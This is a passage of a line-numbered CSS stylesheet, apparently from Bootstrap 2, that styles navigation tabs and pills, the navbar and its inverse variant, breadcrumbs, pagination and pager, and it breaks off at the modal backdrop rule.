.nav>li>a { 2263 | display:block 2264 | } 2265 | .nav>li>a:hover { 2266 | text-decoration:none; 2267 | background-color:#eee 2268 | } 2269 | .nav>.pull-right { 2270 | float:right 2271 | } 2272 | .nav-header { 2273 | display:block; 2274 | padding:3px 15px; 2275 | font-size:11px; 2276 | font-weight:bold; 2277 | line-height:20px; 2278 | color:#999; 2279 | text-shadow:0 1px 0 rgba(255,255,255,0.5); 2280 | text-transform:uppercase 2281 | } 2282 | .nav li+.nav-header { 2283 | margin-top:9px 2284 | } 2285 | .nav-list { 2286 | padding-right:15px; 2287 | padding-left:15px; 2288 | margin-bottom:0 2289 | } 2290 | .nav-list>li>a,.nav-list .nav-header { 2291 | margin-right:-15px; 2292 | margin-left:-15px; 2293 | text-shadow:0 1px 0 rgba(255,255,255,0.5) 2294 | } 2295 | .nav-list>li>a { 2296 | padding:3px 15px 2297 | } 2298 | .nav-list>.active>a,.nav-list>.active>a:hover { 2299 | color:#fff; 2300 | text-shadow:0 -1px 0 rgba(0,0,0,0.2); 2301 | background-color:#08c 2302 | } 2303 | .nav-list [class^="icon-"],.nav-list [class*=" icon-"] { 2304 | margin-right:2px 2305 | } 2306 | .nav-list .divider { 2307 | *width:100%; 2308 | height:1px; 2309 | margin:9px 1px; 2310 | *margin:-5px 0 5px; 2311 | overflow:hidden; 2312 | background-color:#e5e5e5; 2313 | border-bottom:1px solid #fff 2314 | } 2315 | .nav-tabs,.nav-pills { 2316 | *zoom:1 2317 | } 2318 | .nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after { 2319 | display:table; 2320 | line-height:0; 2321 | content:"" 2322 | } 2323 | .nav-tabs:after,.nav-pills:after { 2324 | clear:both 2325 | } 2326 | .nav-tabs>li,.nav-pills>li { 2327 | float:left 2328 | } 2329 | .nav-tabs>li>a,.nav-pills>li>a { 2330 | padding-right:12px; 2331 | padding-left:12px; 2332 | margin-right:2px; 2333 | line-height:14px 2334 | } 2335 | .nav-tabs { 2336 | border-bottom:1px solid #ddd 2337 | } 2338 | .nav-tabs>li { 2339 | margin-bottom:-1px 2340 | } 2341 | .nav-tabs>li>a { 2342 | padding-top:8px; 2343 | padding-bottom:8px; 2344 | line-height:20px; 2345 | border:1px solid transparent; 2346 | -webkit-border-radius:4px 4px 0 0; 2347 | -moz-border-radius:4px 4px 0 0; 2348 | border-radius:4px 4px 0 0 2349 | } 2350 | .nav-tabs>li>a:hover { 2351 | border-color:#eee #eee #ddd 2352 | } 2353 | .nav-tabs>.active>a,.nav-tabs>.active>a:hover { 2354 | color:#555; 2355 | cursor:default; 2356 | background-color:#fff; 2357 | border:1px solid #ddd; 2358 | border-bottom-color:transparent 2359 | } 2360 | .nav-pills>li>a { 2361 | padding-top:8px; 2362 | padding-bottom:8px; 2363 | margin-top:2px; 2364 | margin-bottom:2px; 2365 | -webkit-border-radius:5px; 2366 | -moz-border-radius:5px; 2367 | border-radius:5px 2368 | } 2369 | .nav-pills>.active>a,.nav-pills>.active>a:hover { 2370 | color:#fff; 2371 | background-color:#08c 2372 | } 2373 | .nav-stacked>li { 2374 | float:none 2375 | } 2376 | .nav-stacked>li>a { 2377 | margin-right:0 2378 | } 2379 | .nav-tabs.nav-stacked { 2380 | border-bottom:0 2381 | } 2382 | .nav-tabs.nav-stacked>li>a { 2383 | border:1px solid #ddd; 2384 | -webkit-border-radius:0; 2385 | -moz-border-radius:0; 2386 | border-radius:0 2387 | } 2388 | .nav-tabs.nav-stacked>li:first-child>a { 2389 | -webkit-border-top-right-radius:4px; 2390 | border-top-right-radius:4px; 2391 | -webkit-border-top-left-radius:4px; 2392 | border-top-left-radius:4px; 2393 | -moz-border-radius-topright:4px; 2394 | -moz-border-radius-topleft:4px 2395 | } 2396 | .nav-tabs.nav-stacked>li:last-child>a { 2397 | -webkit-border-bottom-right-radius:4px; 2398 | border-bottom-right-radius:4px; 2399 | -webkit-border-bottom-left-radius:4px; 2400 | border-bottom-left-radius:4px; 2401 | -moz-border-radius-bottomright:4px; 2402 | -moz-border-radius-bottomleft:4px 2403 | } 2404 | .nav-tabs.nav-stacked>li>a:hover { 2405 | z-index:2; 2406 | border-color:#ddd 2407 | } 2408 | .nav-pills.nav-stacked>li>a { 2409 | margin-bottom:3px 2410 | } 2411 | .nav-pills.nav-stacked>li:last-child>a { 2412 | margin-bottom:1px 2413 | } 2414 | .nav-tabs .dropdown-menu { 2415 | -webkit-border-radius:0 0 6px 6px; 2416 | -moz-border-radius:0 0 6px 6px; 2417 | border-radius:0 0 6px 6px 2418 | } 2419 | .nav-pills .dropdown-menu { 2420 | -webkit-border-radius:6px; 2421 | -moz-border-radius:6px; 2422 | border-radius:6px 2423 | } 2424 | .nav .dropdown-toggle .caret { 2425 | margin-top:6px; 2426 | border-top-color:#08c; 2427 | border-bottom-color:#08c 2428 | } 2429 | .nav .dropdown-toggle:hover .caret { 2430 | border-top-color:#005580; 2431 | border-bottom-color:#005580 2432 | } 2433 | .nav-tabs .dropdown-toggle .caret { 2434 | margin-top:8px 2435 | } 2436 | .nav .active .dropdown-toggle .caret { 2437 | border-top-color:#fff; 2438 | border-bottom-color:#fff 2439 | } 2440 | .nav-tabs .active .dropdown-toggle .caret { 2441 | border-top-color:#555; 2442 | border-bottom-color:#555 2443 | } 2444 | .nav>.dropdown.active>a:hover { 2445 | cursor:pointer 2446 | } 2447 | .nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>li.dropdown.open.active>a:hover { 2448 | color:#fff; 2449 | background-color:#999; 2450 | border-color:#999 2451 | } 2452 | .nav li.dropdown.open .caret,.nav li.dropdown.open.active .caret,.nav li.dropdown.open a:hover .caret { 2453 | border-top-color:#fff; 2454 | border-bottom-color:#fff; 2455 | opacity:1; 2456 | filter:alpha(opacity=100) 2457 | } 2458 | .tabs-stacked .open>a:hover { 2459 | border-color:#999 2460 | } 2461 | .tabbable { 2462 | *zoom:1 2463 | } 2464 | .tabbable:before,.tabbable:after { 2465 | display:table; 2466 | line-height:0; 2467 | content:"" 2468 | } 2469 | .tabbable:after { 2470 | clear:both 2471 | } 2472 | .tab-content { 2473 | overflow:auto 2474 | } 2475 | .tabs-below>.nav-tabs,.tabs-right>.nav-tabs,.tabs-left>.nav-tabs { 2476 | border-bottom:0 2477 | } 2478 | .tab-content>.tab-pane,.pill-content>.pill-pane { 2479 | display:none 2480 | } 2481 | .tab-content>.active,.pill-content>.active { 2482 | display:block 2483 | } 2484 | .tabs-below>.nav-tabs { 2485 | border-top:1px solid #ddd 2486 | } 2487 | .tabs-below>.nav-tabs>li { 2488 | margin-top:-1px; 2489 | margin-bottom:0 2490 | } 2491 | .tabs-below>.nav-tabs>li>a { 2492 | -webkit-border-radius:0 0 4px 4px; 2493 | -moz-border-radius:0 0 4px 4px; 2494 | border-radius:0 0 4px 4px 2495 | } 2496 | .tabs-below>.nav-tabs>li>a:hover { 2497 | border-top-color:#ddd; 2498 | border-bottom-color:transparent 2499 | } 2500 | .tabs-below>.nav-tabs>.active>a,.tabs-below>.nav-tabs>.active>a:hover { 2501 | border-color:transparent #ddd #ddd #ddd 2502 | } 2503 | .tabs-left>.nav-tabs>li,.tabs-right>.nav-tabs>li { 2504 | float:none 2505 | } 2506 | .tabs-left>.nav-tabs>li>a,.tabs-right>.nav-tabs>li>a { 2507 | min-width:74px; 2508 | margin-right:0; 2509 | margin-bottom:3px 2510 | } 2511 | .tabs-left>.nav-tabs { 2512 | float:left; 2513 | margin-right:19px; 2514 | border-right:1px solid #ddd 2515 | } 2516 | .tabs-left>.nav-tabs>li>a { 2517 | margin-right:-1px; 2518 | -webkit-border-radius:4px 0 0 4px; 2519 | -moz-border-radius:4px 0 0 4px; 2520 | border-radius:4px 0 0 4px 2521 | } 2522 | .tabs-left>.nav-tabs>li>a:hover { 2523 | border-color:#eee #ddd #eee #eee 2524 | } 2525 | .tabs-left>.nav-tabs .active>a,.tabs-left>.nav-tabs .active>a:hover { 2526 | border-color:#ddd transparent #ddd #ddd; 2527 | *border-right-color:#fff 2528 | } 2529 | .tabs-right>.nav-tabs { 2530 | float:right; 2531 | margin-left:19px; 2532 | border-left:1px solid #ddd 2533 | } 2534 | .tabs-right>.nav-tabs>li>a { 2535 | margin-left:-1px; 2536 | -webkit-border-radius:0 4px 4px 0; 2537 | -moz-border-radius:0 4px 4px 0; 2538 | border-radius:0 4px 4px 0 2539 | } 2540 | .tabs-right>.nav-tabs>li>a:hover { 2541 | border-color:#eee #eee #eee #ddd 2542 | } 2543 | .tabs-right>.nav-tabs .active>a,.tabs-right>.nav-tabs .active>a:hover { 2544 | border-color:#ddd #ddd #ddd transparent; 2545 | *border-left-color:#fff 2546 | } 2547 | .nav>.disabled>a { 2548 | color:#999 2549 | } 2550 | .nav>.disabled>a:hover { 2551 | text-decoration:none; 2552 | cursor:default; 2553 | background-color:transparent 2554 | } 2555 | .navbar { 2556 | *position:relative; 2557 | *z-index:2; 2558 | margin-bottom:20px; 2559 | overflow:visible; 2560 | color:#777 2561 | } 2562 | .navbar-inner { 2563 | min-height:40px; 2564 | padding-right:20px; 2565 | padding-left:20px; 2566 | background-color:#fafafa; 2567 | background-image:-moz-linear-gradient(top,#fff,#f2f2f2); 2568 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#f2f2f2)); 2569 | background-image:-webkit-linear-gradient(top,#fff,#f2f2f2); 2570 | background-image:-o-linear-gradient(top,#fff,#f2f2f2); 2571 | background-image:linear-gradient(to bottom,#fff,#f2f2f2); 2572 | background-repeat:repeat-x; 2573 | border:1px solid #d4d4d4; 2574 | -webkit-border-radius:4px; 2575 | -moz-border-radius:4px; 2576 | border-radius:4px; 2577 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff',endColorstr='#fff2f2f2',GradientType=0); 2578 | *zoom:1; 2579 | -webkit-box-shadow:0 1px 4px rgba(0,0,0,0.065); 2580 | -moz-box-shadow:0 1px 4px rgba(0,0,0,0.065); 2581 | box-shadow:0 1px 4px rgba(0,0,0,0.065) 2582 | } 2583 | .navbar-inner:before,.navbar-inner:after { 2584 | display:table; 2585 | line-height:0; 2586 | content:"" 2587 | } 2588 | .navbar-inner:after { 2589 | clear:both 2590 | } 2591 | .navbar .container { 2592 | width:auto 2593 | } 2594 | .nav-collapse.collapse { 2595 | height:auto; 2596 | overflow:visible 2597 | } 2598 | .navbar .brand { 2599 | display:block; 2600 | float:left; 2601 | padding:10px 20px 10px; 2602 | margin-left:-20px; 2603 | font-size:20px; 2604 | font-weight:200; 2605 | color:#777; 2606 | text-shadow:0 1px 0 #fff 2607 | } 2608 | .navbar .brand:hover { 2609 | text-decoration:none 2610 | } 2611 | .navbar-text { 2612 | margin-bottom:0; 2613 | line-height:40px 2614 | } 2615 | .navbar-link { 2616 | color:#777 2617 | } 2618 | .navbar-link:hover { 2619 | color:#333 2620 | } 2621 | .navbar .divider-vertical { 2622 | height:40px; 2623 | margin:0 9px; 2624 | border-right:1px solid #fff; 2625 | border-left:1px solid #f2f2f2 2626 | } 2627 | .navbar .btn,.navbar .btn-group { 2628 | margin-top:5px 2629 | } 2630 | .navbar .btn-group .btn,.navbar .input-prepend .btn,.navbar .input-append .btn { 2631 | margin-top:0 2632 | } 2633 | .navbar-form { 2634 | margin-bottom:0; 2635 | *zoom:1 2636 | } 2637 | .navbar-form:before,.navbar-form:after { 2638 | display:table; 2639 | line-height:0; 2640 | content:"" 2641 | } 2642 | .navbar-form:after { 2643 | clear:both 2644 | } 2645 | .navbar-form input,.navbar-form select,.navbar-form .radio,.navbar-form .checkbox { 2646 | margin-top:5px 2647 | } 2648 | .navbar-form input,.navbar-form select,.navbar-form .btn { 2649 | display:inline-block; 2650 | margin-bottom:0 2651 | } 2652 | .navbar-form input[type="image"],.navbar-form input[type="checkbox"],.navbar-form input[type="radio"] { 2653 | margin-top:3px 2654 | } 2655 | .navbar-form .input-append,.navbar-form .input-prepend { 2656 | margin-top:6px; 2657 | white-space:nowrap 2658 | } 2659 | .navbar-form .input-append input,.navbar-form .input-prepend input { 2660 | margin-top:0 2661 | } 2662 | .navbar-search { 2663 | position:relative; 2664 | float:left; 2665 | margin-top:5px; 2666 | margin-bottom:0 2667 | } 2668 | .navbar-search .search-query { 2669 | padding:4px 14px; 2670 | margin-bottom:0; 2671 | font-family:"Helvetica Neue",Helvetica,Arial,sans-serif; 2672 | font-size:13px; 2673 | font-weight:normal; 2674 | line-height:1; 2675 | -webkit-border-radius:15px; 2676 | -moz-border-radius:15px; 2677 | border-radius:15px 2678 | } 2679 | .navbar-static-top { 2680 | position:static; 2681 | margin-bottom:0 2682 | } 2683 | .navbar-static-top .navbar-inner { 2684 | -webkit-border-radius:0; 2685 | -moz-border-radius:0; 2686 | border-radius:0 2687 | } 2688 | .navbar-fixed-top,.navbar-fixed-bottom { 2689 | position:fixed; 2690 | right:0; 2691 | left:0; 2692 | z-index:1030; 2693 | margin-bottom:0 2694 | } 2695 | .navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner { 2696 | border-width:0 0 1px 2697 | } 2698 | .navbar-fixed-bottom .navbar-inner { 2699 | border-width:1px 0 0 2700 | } 2701 | .navbar-fixed-top .navbar-inner,.navbar-fixed-bottom .navbar-inner { 2702 | padding-right:0; 2703 | padding-left:0; 2704 | -webkit-border-radius:0; 2705 | -moz-border-radius:0; 2706 | border-radius:0 2707 | } 2708 | .navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container { 2709 | width:940px 2710 | } 2711 | .navbar-fixed-top { 2712 | top:0 2713 | } 2714 | .navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner { 2715 | -webkit-box-shadow:0 1px 10px rgba(0,0,0,0.1); 2716 | -moz-box-shadow:0 1px 10px rgba(0,0,0,0.1); 2717 | box-shadow:0 1px 10px rgba(0,0,0,0.1) 2718 | } 2719 | .navbar-fixed-bottom { 2720 | bottom:0 2721 | } 2722 | .navbar-fixed-bottom .navbar-inner { 2723 | -webkit-box-shadow:0 -1px 10px rgba(0,0,0,0.1); 2724 | -moz-box-shadow:0 -1px 10px rgba(0,0,0,0.1); 2725 | box-shadow:0 -1px 10px rgba(0,0,0,0.1) 2726 | } 2727 | .navbar .nav { 2728 | position:relative; 2729 | left:0; 2730 | display:block; 2731 | float:left; 2732 | margin:0 10px 0 0 2733 | } 2734 | .navbar .nav.pull-right { 2735 | float:right; 2736 | margin-right:0 2737 | } 2738 | .navbar .nav>li { 2739 | float:left 2740 | } 2741 | .navbar .nav>li>a { 2742 | float:none; 2743 | padding:10px 15px 10px; 2744 | color:#777; 2745 | text-decoration:none; 2746 | text-shadow:0 1px 0 #fff 2747 | } 2748 | .navbar .nav .dropdown-toggle .caret { 2749 | margin-top:8px 2750 | } 2751 | .navbar .nav>li>a:focus,.navbar .nav>li>a:hover { 2752 | color:#333; 2753 | text-decoration:none; 2754 | background-color:transparent 2755 | } 2756 | .navbar .nav>.active>a,.navbar .nav>.active>a:hover,.navbar .nav>.active>a:focus { 2757 | color:#555; 2758 | text-decoration:none; 2759 | background-color:#e5e5e5; 2760 | -webkit-box-shadow:inset 0 3px 8px rgba(0,0,0,0.125); 2761 | -moz-box-shadow:inset 0 3px 8px rgba(0,0,0,0.125); 2762 | box-shadow:inset 0 3px 8px rgba(0,0,0,0.125) 2763 | } 2764 | .navbar .btn-navbar { 2765 | display:none; 2766 | float:right; 2767 | padding:7px 10px; 2768 | margin-right:5px; 2769 | margin-left:5px; 2770 | color:#fff; 2771 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 2772 | background-color:#ededed; 2773 | *background-color:#e5e5e5; 2774 | background-image:-moz-linear-gradient(top,#f2f2f2,#e5e5e5); 2775 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#f2f2f2),to(#e5e5e5)); 2776 | background-image:-webkit-linear-gradient(top,#f2f2f2,#e5e5e5); 2777 | background-image:-o-linear-gradient(top,#f2f2f2,#e5e5e5); 2778 | background-image:linear-gradient(to bottom,#f2f2f2,#e5e5e5); 2779 | background-repeat:repeat-x; 2780 | border-color:#e5e5e5 #e5e5e5 #bfbfbf; 2781 | border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25); 2782 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2f2f2',endColorstr='#ffe5e5e5',GradientType=0); 2783 | filter:progid:DXImageTransform.Microsoft.gradient(enabled=false); 2784 | -webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075); 2785 | -moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075); 2786 | box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075) 2787 | } 2788 | .navbar .btn-navbar:hover,.navbar .btn-navbar:active,.navbar .btn-navbar.active,.navbar .btn-navbar.disabled,.navbar .btn-navbar[disabled] { 2789 | color:#fff; 2790 | background-color:#e5e5e5; 2791 | *background-color:#d9d9d9 2792 | } 2793 | .navbar .btn-navbar:active,.navbar .btn-navbar.active { 2794 | background-color:#ccc \9 2795 | } 2796 | .navbar .nav>li>.dropdown-menu:after { 2797 | position:absolute; 2798 | top:-6px; 2799 | left:10px; 2800 | display:inline-block; 2801 | border-right:6px solid transparent; 2802 | border-bottom:6px solid #fff; 2803 | border-left:6px solid transparent; 2804 | content:'' 2805 | } 2806 | .navbar-fixed-bottom .nav>li>.dropdown-menu:before { 2807 | top:auto; 2808 | bottom:-7px; 2809 | border-top:7px solid #ccc; 2810 | border-bottom:0; 2811 | border-top-color:rgba(0,0,0,0.2) 2812 | } 2813 | .navbar-fixed-bottom .nav>li>.dropdown-menu:after { 2814 | top:auto; 2815 | bottom:-6px; 2816 | border-top:6px solid #fff; 2817 | border-bottom:0 2818 | } 2819 | .navbar .nav li.dropdown.open>.dropdown-toggle,.navbar .nav li.dropdown.active>.dropdown-toggle,.navbar .nav li.dropdown.open.active>.dropdown-toggle { 2820 | color:#555; 2821 | background-color:#e5e5e5 2822 | } 2823 | .navbar .nav li.dropdown>.dropdown-toggle .caret { 2824 | border-top-color:#777; 2825 | border-bottom-color:#777 2826 | } 2827 | .navbar .nav li.dropdown.open>.dropdown-toggle .caret,.navbar .nav li.dropdown.active>.dropdown-toggle .caret,.navbar .nav li.dropdown.open.active>.dropdown-toggle .caret { 2828 | border-top-color:#555; 2829 | border-bottom-color:#555 2830 | } 2831 | .navbar .pull-right>li>.dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right { 2832 | right:0; 2833 | left:auto 2834 | } 2835 | .navbar .pull-right>li>.dropdown-menu:before,.navbar .nav>li>.dropdown-menu.pull-right:before { 2836 | right:12px; 2837 | left:auto 2838 | } 2839 | .navbar .pull-right>li>.dropdown-menu:after,.navbar .nav>li>.dropdown-menu.pull-right:after { 2840 | right:13px; 2841 | left:auto 2842 | } 2843 | .navbar .pull-right>li>.dropdown-menu .dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right .dropdown-menu { 2844 | right:100%; 2845 | left:auto; 2846 | margin-right:-1px; 2847 | margin-left:0; 2848 | -webkit-border-radius:6px 0 6px 6px; 2849 | -moz-border-radius:6px 0 6px 6px; 2850 | border-radius:6px 0 6px 6px 2851 | } 2852 | .navbar-inverse { 2853 | color:#999 2854 | } 2855 | .navbar-inverse .navbar-inner { 2856 | background-color:#1b1b1b; 2857 | background-image:-moz-linear-gradient(top,#222,#111); 2858 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#222),to(#111)); 2859 | background-image:-webkit-linear-gradient(top,#222,#111); 2860 | background-image:-o-linear-gradient(top,#222,#111); 2861 | background-image:linear-gradient(to bottom,#222,#111); 2862 | background-repeat:repeat-x; 2863 | border-color:#252525; 2864 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff222222',endColorstr='#ff111111',GradientType=0) 2865 | } 2866 | .navbar-inverse .brand,.navbar-inverse .nav>li>a { 2867 | color:#999; 2868 | text-shadow:0 -1px 0 rgba(0,0,0,0.25) 2869 | } 2870 | .navbar-inverse .brand:hover,.navbar-inverse .nav>li>a:hover { 2871 | color:#fff 2872 | } 2873 | .navbar-inverse .nav>li>a:focus,.navbar-inverse .nav>li>a:hover { 2874 | color:#fff; 2875 | background-color:transparent 2876 | } 2877 | .navbar-inverse .nav .active>a,.navbar-inverse .nav .active>a:hover,.navbar-inverse .nav .active>a:focus { 2878 | color:#fff; 2879 | background-color:#111 2880 | } 2881 | .navbar-inverse .navbar-link { 2882 | color:#999 2883 | } 2884 | .navbar-inverse .navbar-link:hover { 2885 | color:#fff 2886 | } 2887 | .navbar-inverse .divider-vertical { 2888 | border-right-color:#222; 2889 | border-left-color:#111 2890 | } 2891 | .navbar-inverse .nav li.dropdown.open>.dropdown-toggle,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle { 2892 | color:#fff; 2893 | background-color:#111 2894 | } 2895 | .navbar-inverse .nav li.dropdown>.dropdown-toggle .caret { 2896 | border-top-color:#999; 2897 | border-bottom-color:#999 2898 | } 2899 | .navbar-inverse .nav li.dropdown.open>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle .caret { 2900 | border-top-color:#fff; 2901 | border-bottom-color:#fff 2902 | } 2903 | .navbar-inverse .navbar-search .search-query { 2904 | color:#fff; 2905 | background-color:#515151; 2906 | border-color:#111; 2907 | -webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15); 2908 | -moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15); 2909 | box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15); 2910 | -webkit-transition:none; 2911 | -moz-transition:none; 2912 | -o-transition:none; 2913 | transition:none 2914 | } 2915 | .navbar-inverse .navbar-search .search-query:-moz-placeholder { 2916 | color:#ccc 2917 | } 2918 | .navbar-inverse .navbar-search .search-query:-ms-input-placeholder { 2919 | color:#ccc 2920 | } 2921 | .navbar-inverse .navbar-search .search-query::-webkit-input-placeholder { 2922 | color:#ccc 2923 | } 2924 | .navbar-inverse .navbar-search .search-query:focus,.navbar-inverse .navbar-search .search-query.focused { 2925 | padding:5px 15px; 2926 | color:#333; 2927 | text-shadow:0 1px 0 #fff; 2928 | background-color:#fff; 2929 | border:0; 2930 | outline:0; 2931 | -webkit-box-shadow:0 0 3px rgba(0,0,0,0.15); 2932 | -moz-box-shadow:0 0 3px rgba(0,0,0,0.15); 2933 | box-shadow:0 0 3px rgba(0,0,0,0.15) 2934 | } 2935 | .navbar-inverse .btn-navbar { 2936 | color:#fff; 2937 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 2938 | background-color:#0e0e0e; 2939 | *background-color:#040404; 2940 | background-image:-moz-linear-gradient(top,#151515,#040404); 2941 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#151515),to(#040404)); 2942 | background-image:-webkit-linear-gradient(top,#151515,#040404); 2943 | background-image:-o-linear-gradient(top,#151515,#040404); 2944 | background-image:linear-gradient(to bottom,#151515,#040404); 2945 | background-repeat:repeat-x; 2946 | border-color:#040404 #040404 #000; 2947 | border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25); 2948 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff151515',endColorstr='#ff040404',GradientType=0); 2949 | filter:progid:DXImageTransform.Microsoft.gradient(enabled=false) 2950 | } 2951 | .navbar-inverse .btn-navbar:hover,.navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active,.navbar-inverse .btn-navbar.disabled,.navbar-inverse .btn-navbar[disabled] { 2952 | color:#fff; 2953 | background-color:#040404; 2954 | *background-color:#000 2955 | } 2956 | .navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active { 2957 | background-color:#000 \9 2958 | } 2959 | .breadcrumb { 2960 | padding:8px 15px; 2961 | margin:0 0 20px; 2962 | list-style:none; 2963 | background-color:#f5f5f5; 2964 | -webkit-border-radius:4px; 2965 | -moz-border-radius:4px; 2966 | border-radius:4px 2967 | } 2968 | .breadcrumb li { 2969 | display:inline-block; 2970 | *display:inline; 2971 | text-shadow:0 1px 0 #fff; 2972 | *zoom:1 2973 | } 2974 | .breadcrumb .divider { 2975 | padding:0 5px; 2976 | color:#ccc 2977 | } 2978 | .breadcrumb .active { 2979 | color:#999 2980 | } 2981 | .pagination { 2982 | margin:20px 0 2983 | } 2984 | .pagination ul { 2985 | display:inline-block; 2986 | *display:inline; 2987 | margin-bottom:0; 2988 | margin-left:0; 2989 | -webkit-border-radius:4px; 2990 | -moz-border-radius:4px; 2991 | border-radius:4px; 2992 | *zoom:1; 2993 | -webkit-box-shadow:0 1px 2px rgba(0,0,0,0.05); 2994 | -moz-box-shadow:0 1px 2px rgba(0,0,0,0.05); 2995 | box-shadow:0 1px 2px rgba(0,0,0,0.05) 2996 | } 2997 | .pagination ul>li { 2998 | display:inline 2999 | } 3000 | .pagination ul>li>a,.pagination ul>li>span { 3001 | float:left; 3002 | padding:4px 12px; 3003 | line-height:20px; 3004 | text-decoration:none; 3005 | background-color:#fff; 3006 | border:1px solid #ddd; 3007 | border-left-width:0 3008 | } 3009 | .pagination ul>li>a:hover,.pagination ul>.active>a,.pagination ul>.active>span { 3010 | background-color:#f5f5f5 3011 | } 3012 | .pagination ul>.active>a,.pagination ul>.active>span { 3013 | color:#999; 3014 | cursor:default 3015 | } 3016 | .pagination ul>.disabled>span,.pagination ul>.disabled>a,.pagination ul>.disabled>a:hover { 3017 | color:#999; 3018 | cursor:default; 3019 | background-color:transparent 3020 | } 3021 | .pagination ul>li:first-child>a,.pagination ul>li:first-child>span { 3022 | border-left-width:1px; 3023 | -webkit-border-bottom-left-radius:4px; 3024 | border-bottom-left-radius:4px; 3025 | -webkit-border-top-left-radius:4px; 3026 | border-top-left-radius:4px; 3027 | -moz-border-radius-bottomleft:4px; 3028 | -moz-border-radius-topleft:4px 3029 | } 3030 | .pagination ul>li:last-child>a,.pagination ul>li:last-child>span { 3031 | -webkit-border-top-right-radius:4px; 3032 | border-top-right-radius:4px; 3033 | -webkit-border-bottom-right-radius:4px; 3034 | border-bottom-right-radius:4px; 3035 | -moz-border-radius-topright:4px; 3036 | -moz-border-radius-bottomright:4px 3037 | } 3038 | .pagination-centered { 3039 | text-align:center 3040 | } 3041 | .pagination-right { 3042 | text-align:right 3043 | } 3044 | .pagination-large ul>li>a,.pagination-large ul>li>span { 3045 | padding:11px 19px; 3046 | font-size:17.5px 3047 | } 3048 | .pagination-large ul>li:first-child>a,.pagination-large ul>li:first-child>span { 3049 | -webkit-border-bottom-left-radius:6px; 3050 | border-bottom-left-radius:6px; 3051 | -webkit-border-top-left-radius:6px; 3052 | border-top-left-radius:6px; 3053 | -moz-border-radius-bottomleft:6px; 3054 | -moz-border-radius-topleft:6px 3055 | } 3056 | .pagination-large ul>li:last-child>a,.pagination-large ul>li:last-child>span { 3057 | -webkit-border-top-right-radius:6px; 3058 | border-top-right-radius:6px; 3059 | -webkit-border-bottom-right-radius:6px; 3060 | border-bottom-right-radius:6px; 3061 | -moz-border-radius-topright:6px; 3062 | -moz-border-radius-bottomright:6px 3063 | } 3064 | .pagination-mini ul>li:first-child>a,.pagination-small ul>li:first-child>a,.pagination-mini ul>li:first-child>span,.pagination-small ul>li:first-child>span { 3065 | -webkit-border-bottom-left-radius:3px; 3066 | border-bottom-left-radius:3px; 3067 | -webkit-border-top-left-radius:3px; 3068 | border-top-left-radius:3px; 3069 | -moz-border-radius-bottomleft:3px; 3070 | -moz-border-radius-topleft:3px 3071 | } 3072 | .pagination-mini ul>li:last-child>a,.pagination-small ul>li:last-child>a,.pagination-mini ul>li:last-child>span,.pagination-small ul>li:last-child>span { 3073 | -webkit-border-top-right-radius:3px; 3074 | border-top-right-radius:3px; 3075 | -webkit-border-bottom-right-radius:3px; 3076 | border-bottom-right-radius:3px; 3077 | -moz-border-radius-topright:3px; 3078 | -moz-border-radius-bottomright:3px 3079 | } 3080 | .pagination-small ul>li>a,.pagination-small ul>li>span { 3081 | padding:2px 10px; 3082 | font-size:11.9px 3083 | } 3084 | .pagination-mini ul>li>a,.pagination-mini ul>li>span { 3085 | padding:1px 6px; 3086 | font-size:10.5px 3087 | } 3088 | .pager { 3089 | margin:20px 0; 3090 | text-align:center; 3091 | list-style:none; 3092 | *zoom:1 3093 | } 3094 | .pager:before,.pager:after { 3095 | display:table; 3096 | line-height:0; 3097 | content:"" 3098 | } 3099 | .pager:after { 3100 | clear:both 3101 | } 3102 | .pager li { 3103 | display:inline 3104 | } 3105 | .pager li>a,.pager li>span { 3106 | display:inline-block; 3107 | padding:5px 14px; 3108 | background-color:#fff; 3109 | border:1px solid #ddd; 3110 | -webkit-border-radius:15px; 3111 | -moz-border-radius:15px; 3112 | border-radius:15px 3113 | } 3114 | .pager li>a:hover { 3115 | text-decoration:none; 3116 | background-color:#f5f5f5 3117 | } 3118 | .pager .next>a,.pager .next>span { 3119 | float:right 3120 | } 3121 | .pager .previous>a,.pager .previous>span { 3122 | float:left 3123 | } 3124 | .pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>span { 3125 | color:#999; 3126 | cursor:default; 3127 | background-color:#fff 3128 | } 3129 | .modal-backdrop { 3130 | position:fixed; 3131 | top:0; 3132 | right:0; 3133 | bottom:0; 3134 | left:0; 3135 | z-index:1040; 3136 | background-color:#000 3137 | } 3138 | .modal-backdrop.fade { 3139 